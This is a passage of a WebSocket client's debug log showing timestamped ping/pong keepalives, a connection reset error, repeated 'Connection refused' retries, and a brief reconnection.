debug ] [ws] Received Ping, sending Pong +[ 1763665833 ] [ debug ] [ws] sending ping +[ 1763665843 ] [ debug ] [ws] sending ping +[ 1763665844 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665853 ] [ debug ] [ws] sending ping +[ 1763665863 ] [ debug ] [ws] sending ping +[ 1763665864 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665873 ] [ debug ] [ws] sending ping +[ 1763665883 ] [ debug ] [ws] sending ping +[ 1763665884 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665893 ] [ debug ] [ws] sending ping +[ 1763665903 ] [ debug ] [ws] sending ping +[ 1763665904 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665913 ] [ debug ] [ws] sending ping +[ 1763665923 ] [ debug ] [ws] sending ping +[ 1763665924 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665933 ] [ debug ] [ws] sending ping +[ 1763665943 ] [ debug ] [ws] sending ping +[ 1763665944 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665953 ] [ debug ] [ws] sending ping +[ 1763665963 ] [ debug ] [ws] sending ping +[ 1763665964 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665973 ] [ debug ] [ws] sending ping +[ 1763665983 ] [ debug ] [ws] sending ping +[ 1763665984 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665993 ] [ debug ] [ws] sending ping +[ 1763666003 ] [ debug ] [ws] sending ping +[ 1763666004 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666013 ] [ debug ] [ws] sending ping +[ 1763666023 ] [ debug ] [ws] sending ping +[ 1763666024 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666033 ] [ debug ] [ws] sending ping +[ 1763666043 ] [ debug ] [ws] sending ping +[ 1763666044 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666053 ] [ debug ] [ws] sending ping +[ 1763666063 ] [ debug ] [ws] sending ping +[ 1763666064 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666073 ] [ debug ] [ws] sending ping +[ 1763666083 ] [ debug ] [ws] sending ping +[ 1763666084 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666093 ] [ debug ] [ws] sending ping +[ 1763666103 ] [ debug ] [ws] sending ping +[ 1763666104 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666113 ] [ debug ] [ws] sending ping +[ 1763666123 ] [ debug ] [ws] sending ping +[ 1763666124 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666133 ] [ debug ] [ws] sending ping +[ 1763666143 ] [ debug ] [ws] sending ping +[ 1763666144 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666153 ] [ debug ] [ws] sending ping +[ 1763666163 ] [ debug ] [ws] sending ping +[ 1763666164 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666173 ] [ debug ] [ws] sending ping +[ 1763666183 ] [ debug ] [ws] sending ping +[ 1763666184 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666193 ] [ debug ] [ws] sending ping +[ 1763666203 ] [ debug ] [ws] sending ping +[ 1763666204 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666213 ] [ debug ] [ws] sending ping +[ 1763666223 ] [ debug ] [ws] sending ping +[ 1763666224 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666233 ] [ debug ] [ws] sending ping +[ 1763666243 ] [ debug ] [ws] sending ping +[ 1763666244 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666253 ] [ debug ] [ws] sending ping +[ 1763666263 ] [ debug ] [ws] sending ping +[ 1763666264 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666273 ] [ debug ] [ws] sending ping +[ 1763666283 ] [ debug ] [ws] sending ping +[ 1763666284 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666293 ] [ debug ] [ws] sending ping +[ 1763666303 ] [ debug ] [ws] sending ping +[ 1763666304 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666313 ] [ debug ] [ws] sending ping +[ 1763666323 ] [ debug ] [ws] sending ping +[ 1763666324 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666333 ] [ debug ] [ws] sending ping +[ 1763666343 ] [ debug ] [ws] sending ping +[ 1763666344 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666353 ] [ debug ] [ws] sending ping +[ 1763666363 ] [ debug ] [ws] sending ping +[ 1763666364 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666373 ] [ debug ] [ws] sending ping +[ 1763666383 ] [ debug ] [ws] sending ping +[ 1763666384 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666393 ] [ debug ] [ws] sending ping +[ 1763666403 ] [ debug ] [ws] sending ping +[ 1763666404 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666413 ] [ debug ] [ws] sending ping +[ 1763666423 ] [ debug ] [ws] sending ping +[ 1763666424 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666433 ] [ debug ] [ws] sending ping +[ 1763666443 ] [ debug ] [ws] sending ping +[ 1763666444 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666453 ] [ debug ] [ws] sending ping +[ 1763666463 ] [ debug ] [ws] sending ping +[ 1763666464 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666473 ] [ debug ] [ws] sending ping +[ 1763666483 ] [ debug ] [ws] sending ping +[ 1763666484 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666493 ] [ debug ] [ws] sending ping +[ 1763666503 ] [ debug ] [ws] sending ping +[ 1763666504 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666513 ] [ debug ] [ws] sending ping +[ 1763666523 ] [ debug ] [ws] sending ping +[ 1763666524 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666533 ] [ debug ] [ws] sending ping +[ 1763666543 ] [ debug ] [ws] sending ping +[ 1763666544 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666553 ] [ debug ] [ws] sending ping +[ 1763666563 ] [ debug ] [ws] sending ping +[ 1763666564 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666573 ] [ debug ] [ws] sending ping +[ 1763666583 ] [ debug ] [ws] sending ping +[ 1763666584 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666593 ] [ debug ] [ws] sending ping +[ 1763666603 ] [ debug ] [ws] sending ping +[ 1763666604 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666613 ] [ debug ] [ws] sending ping +[ 1763666623 ] [ debug ] [ws] sending ping +[ 1763666624 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666633 ] [ debug ] [ws] sending ping +[ 1763666643 ] [ debug ] [ws] sending ping +[ 1763666644 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666653 ] [ debug ] [ws] sending ping +[ 1763666663 ] [ debug ] [ws] sending ping +[ 1763666664 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666673 ] [ debug ] [ws] sending ping +[ 1763666683 ] [ debug ] [ws] sending ping +[ 1763666684 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666693 ] [ debug ] [ws] sending ping +[ 1763666703 ] [ debug ] [ws] sending ping +[ 1763666704 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666713 ] [ debug ] [ws] sending ping +[ 1763666723 ] [ debug ] [ws] sending ping +[ 1763666724 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666733 ] [ debug ] [ws] sending ping +[ 1763666743 ] [ debug ] [ws] sending ping +[ 1763666744 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763666753 ] [ debug ] [ws] sending ping +[ 1763666759 ] [ ERROR ] [ws] Error receiving message: Protocol(ResetWithoutClosingHandshake). +[ 1763666759 ] [ ERROR ] [ws] Connection lost. +[ 1763728877 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763728882 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763729122 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763729127 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763729132 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763729137 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763729142 ] [ info ] [ws] WebSocket connection established. +[ 1763729152 ] [ debug ] [ws] sending ping +[ 1763729162 ] [ debug ] [ws] sending ping +[ 1763729162 ] [ debug ] [ws] received ping, sending pong +[ 1763729172 ] [ debug ] [ws] sending ping +[ 1763729182 ] [ debug ] [ws] sending ping +[ 1763729182 ] [ debug ] [ws] received ping, sending pong +[ 1763729192 ] [ debug ] [ws] sending ping +[ 1763729763 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s....